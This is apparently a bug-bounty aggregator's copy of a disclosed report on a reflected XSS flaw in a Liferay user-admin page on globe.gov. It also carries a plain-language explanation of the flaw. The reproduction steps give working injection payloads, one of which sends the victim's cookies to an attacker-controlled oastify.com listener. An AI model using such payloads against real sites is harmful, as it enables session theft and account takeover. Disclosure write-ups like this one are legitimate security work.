Skip to content
XSS Disclosed report Beginner

Reflected XSS can lead to Account Takeover

A search parameter on a Liferay-based user administration page reflected attacker-supplied input into the HTML without proper encoding, allowing script injection. An attacker could craft a URL that, when opened by a logged-in user, executes arbitrary JavaScript in that user's browser and could leak their session cookies.

Zer0_bugs Follow

Originally disclosed on Bugcrowd

  • Accepted in 9 hours
  • Fixed in 12 days
  • Disclosed after 4 months

Summary by Zer0_bugs

Reflected Cross-Site Scripting (Non-self) Overview of the Vulnerability

Reflected Cross-Site Scripting (XSS) is a type of injection attack where malicious JavaScript code is injected into a website. When a user visits the affected web page, the JavaScript code executes and its input is reflected in the user's browser. Reflected XSS can be found on this domain which allows an attacker to create a crafted URL which when opened by a user will execute arbitrary Javascript within that user's browser in the context of this domain.

When an attacker can control code that is executed within a user’s browser, they are able to carry out any actions that the user is able to perform, including accessing any of the user's data and modifying information within the user’s permissions. This can result in modification, deletion, or theft of data, including accessing or deleting files, or stealing session cookies which an attacker could use to hijack a user’s session. Business Impact

Reflected XSS could lead to data theft through the attacker’s ability to manipulate data through their access to the application, and their ability to interact with other users, including performing other malicious attacks, which would appear to originate from a legitimate user. These malicious actions could also result in reputational damage for the business through the impact to customers trust. Steps to Reproduce

Go to vulnerable url: https://www.globe.gov/group/control_panel/manage?_com_liferay_users_admin_web_portlet_UsersAdminPortlet_keywords=vulnerable+url&p_p_mode=view&p_p_lifecycle=0&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_toolbarItem=view-all-users&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_orderByType=asc&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_status=0&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_keywords=hello&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_usersListView=flat-users&p_p_state=maximized&p_p_id=com_liferay_users_admin_web_portlet_UsersAdminPortlet&refererPlid=70817193&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_navigation=active&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_saveUsersListView=true&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_orderByCol=firstName&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_userGroupId=332470 ( Attacker should be logged in to his account )
Now after visiting the url , add given payload in the url section Payload: hello"</span></span></div></li></ul></nav><body src=https://burpcolab_link onload=this+alert(document.cookie)>
Mentioned payload can help us to steal victim's cookies.
The final URL looks like this https://www.globe.gov/group/control_panel/manage?_com_liferay_users_admin_web_portlet_UsersAdminPortlet_keywords=hello%22%3C%2Fspan%3E%3C%2Fspan%3E%3C%2Fdiv%3E%3C%2Fli%3E%3C%2Ful%3E%3C%2Fnav%3E%3Cbody+src%3Dhttps%3A%2F%2Fjcz1qduie3i7dryvdjw28uuwbnhe56tv.oastify.com+onload%3Dthis%2Balert%28document.cookie%29%3E&p_p_mode=view&p_p_lifecycle=0&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_toolbarItem=view-all-users&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_orderByType=asc&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_status=0&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_keywords=hello&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_usersListView=flat-users&p_p_state=maximized&p_p_id=com_liferay_users_admin_web_portlet_UsersAdminPortlet&refererPlid=70817193&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_navigation=active&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_saveUsersListView=true&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_orderByCol=firstName&_com_liferay_users_admin_web_portlet_UsersAdminPortlet_userGroupId=332470
Send it to the victim (This payload only works if the victim has an account in their opened browser.)
And the payload gets executed in the victim's browser, and the victim's cookies will also leak into attackers burp suite.
Observe the JavaScript payload being executed

Proof of Concept (PoC)

Below is a screenshot demonstrating the injected JavaScript executing at the vulnerable endpoint: Normal payload: image-2024-03-08T18:34:52.268Z.png _Payload: _hello"</span></span></div></li></ul></nav><script> alert('REFLECTED XSS FOUND')</script>

Payload_to_steal_cookies: image-2024-03-08T18:32:31.015Z.png This XSS vulnerability could be further abused by using the following JavaScript payload: hello"</span></span></div></li></ul></nav><script> alert(document.cookie); var i=new Image; i.src="https://yjlgxs1xlipmk65aky3hf91bi2otcm0b.oastify.com/?"+document.cookie; </script>

Here is a screenshot of the full exploit taking place:

image-2024-03-08T18:45:09.813Z.png

Successfully able to capture victim's cookies using burp suite

The original report as published on Bugcrowd, by Zer0_bugs. Images and videos are our own copies; raw HTML is shown as text. View it on Bugcrowd.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the user-administration portlet reflected the keywords parameter into the page markup without encoding it, so injected HTML and script tags were rendered by the browser.

Impact

An attacker could steal a logged-in user's session cookies and act as that user, though the payload only works if the victim has an account and is logged in in the browser used.

What the attacker needed

Victim has an account; victim is logged in; victim opens crafted link

How it was found

  1. Log in to your own account on the site.
  2. Open the user administration URL with the keywords parameter set to a benign value.
  3. Replace the keywords value with an HTML/script payload that breaks out of the surrounding markup.
  4. Send the resulting crafted URL to a logged-in victim.
  5. The payload executes in the victim's browser and their cookies are sent to the attacker's listener.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website takes something you typed in a link and puts it straight back into the page without cleaning it, an attacker can slip in their own instructions (JavaScript, the code browsers run). If a logged-in user opens that crafted link, the attacker's code runs as if it were the site itself, so it can read the user's session cookie, the token that keeps them logged in. With that cookie the attacker can pretend to be the victim.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from National Aeronautics and Space Administration (NASA) - Vulnerability Disclosure Program

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.